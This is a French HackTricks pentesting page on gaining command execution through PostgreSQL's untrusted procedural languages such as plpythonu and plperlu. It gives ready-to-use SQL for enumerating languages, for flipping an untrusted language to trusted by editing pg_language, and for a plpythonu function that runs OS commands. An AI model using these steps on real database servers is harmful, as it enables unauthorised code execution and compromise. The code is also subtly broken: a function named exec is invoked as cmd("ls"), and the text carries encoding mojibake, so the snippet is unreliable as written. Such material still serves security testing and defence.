RCE avec les langages PostgreSQL
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Langages PostgreSQL
La base de données PostgreSQL à laquelle vous avez accÚs peut avoir différents langages de script installés que vous pourriez exploiter pour exécuter du code arbitraire.
Vous pouvez les faire fonctionner :
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
La plupart des langages de script que vous pouvez installer dans PostgreSQL ont 2 saveurs : la fiable et la non fiable. La non fiable aura un nom se terminant par "u" et sera la version qui vous permettra d'exécuter du code et d'utiliser d'autres fonctions intéressantes. Voici des langages qui, s'ils sont installés, sont intéressants :
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (tout autre langage de programmation utilisant une version non sécurisée)
warning
Si vous constatez qu'un langage intéressant est installé mais non fiable par PostgreSQL (lanpltrusted
est false
), vous pouvez essayer de lui faire confiance avec la ligne suivante afin qu'aucune restriction ne soit appliquée par PostgreSQL :
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Pour vérifier vos permissions sur la table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
Si vous ne voyez pas un langage, vous pouvez essayer de le charger avec (vous devez ĂȘtre superadmin) :
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
Notez qu'il est possible de compiler les versions sĂ©curisĂ©es en tant que "non sĂ©curisĂ©es". Consultez ceci par exemple. Il vaut donc toujours la peine d'essayer si vous pouvez exĂ©cuter du code mĂȘme si vous ne trouvez que la version fiable installĂ©e.
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
VĂ©rifiez la page suivante :
C
VĂ©rifiez la page suivante :
RCE with PostgreSQL Extensions
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.